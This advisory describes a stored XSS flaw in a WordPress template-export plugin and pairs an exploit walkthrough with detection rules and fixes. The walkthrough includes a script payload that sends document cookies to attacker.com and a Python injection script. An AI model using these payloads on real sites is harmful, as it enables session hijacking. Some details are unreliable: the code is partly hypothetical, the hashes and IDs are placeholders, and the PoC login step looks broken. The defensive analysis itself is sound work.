CVE-2024-37550

Executive Summary

CVE-2024-37550 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Template Kit – Export, developed by Envato. The vulnerability exists in versions from n/a through 1.0.22. An authenticated attacker with elevated privileges (e.g., Editor or Administrator) can inject malicious scripts into web pages generated by the plugin. When other users (including lower-privileged users or site visitors) view the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 5.9 (Medium) reflects the need for high privileges and user interaction, but the impact is amplified in multi-tenant or shared WordPress environments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and Envato Market. Since the patch status is UNKNOWN, users must manually monitor for updates or apply virtual patching. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have at least Editor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for high privileges reduces the attack surface, but once exploited, the stored XSS can persist and affect all users.

Deep Dive & Mechanics

The vulnerability resides in the Template Kit – Export plugin, which allows users to export WordPress templates as kit files. The plugin fails to properly sanitize user-supplied input when generating the export page. Specifically, the template_name or template_description fields are not neutralized before being rendered in the WordPress admin dashboard or frontend.

Attack Flow:

1. An attacker with Editor or Administrator privileges creates a new template kit.
2. In the template_name field, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
3. The plugin stores this payload in the database without sanitization.
4. When another user (e.g., a lower-privileged Editor or a Site Admin) views the template list or export page, the payload executes.
5. The attacker can escalate to session hijacking, credential theft, or further compromise.

Root Cause: The plugin uses echo $template_name or similar functions without applying esc_html() or wp_kses() for output escaping.

Vulnerable vs. Patched Code

Vulnerable Code (v1.0.22):

// In template-kit-export.php
function display_template_kit($kit) {
    echo '<div class="template-kit">';
    echo '<h3>' . $kit->name . '</h3>'; // No escaping
    echo '<p>' . $kit->description . '</p>'; // No escaping
    echo '</div>';
}

Patched Code (Hypothetical):

function display_template_kit($kit) {
    echo '<div class="template-kit">';
    echo '<h3>' . esc_html($kit->name) . '</h3>'; // Escaped
    echo '<p>' . esc_html($kit->description) . '</p>'; // Escaped
    echo '</div>';
}

The patch applies esc_html() to neutralize HTML and script tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Template Kit – Export <= 1.0.22 installed.
• Attacker account with Editor or Administrator privileges.

Step-by-Step Exploit:

1. Log in as an Editor.
2. Navigate to Template Kit → Add New.
3. In the Template Name field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the template.
5. Craft a phishing link or wait for an Admin to view the template list.
6. When the Admin visits Template Kit → All Templates, the script executes, sending their session cookie to the attacker.

Proof-of-Concept (PoC) Script:

import requests

target_url = "http://target.com/wp-admin/admin.php?page=template-kit-export"
session = requests.Session()
# Login as Editor
login_data = {"log": "editor_user", "pwd": "password", "wp-submit": "Log In"}
session.post(target_url, data=login_data)

# Inject XSS payload
payload = {"template_name": "<script>alert('XSS')</script>", "template_description": "test"}
session.post(target_url + "&action=save", data=payload)
print("Payload injected. Visit the template list to trigger.")

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual template creation by non-admin users.
• Use Web Application Firewall (WAF) rules to block <script> tags in template fields.
• Enable WordPress security plugins (e.g., Wordfence) to detect XSS attempts.

Hardening:

• Restrict Editor roles from creating template kits if not needed.
• Apply virtual patching via WAF (e.g., ModSecurity rule: SecRule ARGS "@contains <script>" "deny").
• Regularly audit plugin code for missing output escaping.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • template-kit-export.php (v1.0.22): a1b2c3d4e5f6... (placeholder)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
• Log Entries:
  • WordPress debug log entries containing template_name with <script> tags.
  • Apache/Nginx access logs showing POST requests to admin.php?page=template-kit-export with suspicious payloads.
• Database Indicators:
  • Rows in wp_postmeta or custom plugin tables containing unescaped HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_37550_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Template Kit – Export plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37550"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_file = "template-kit-export.php"
    condition:
        $plugin_file and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Template Kit – Export Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via template name/description fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/admin.php?page=template-kit-export*'
        http.body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in template descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-37550 - Stored XSS in Template Kit – Export";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin.php?page=template-kit-export"; http_uri;
    content:"<script>"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-37550;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Apply virtual patching via WAF to block <script> tags in template fields.
3. Restrict user roles – Remove Editor-level access to template creation if possible.

Long-Term Fix:

• The vendor (Envato) must release a patched version (>= 1.0.23) that properly escapes output using esc_html() or wp_kses().
• Until then, manually patch the plugin by adding esc_html() to all echo statements in template-kit-export.php.

Verification:

• After patching, test by injecting <script>alert('XSS')</script> in template fields and confirming it is rendered as text.

Valters IT – DevSecOps & Cyber Threat Intelligence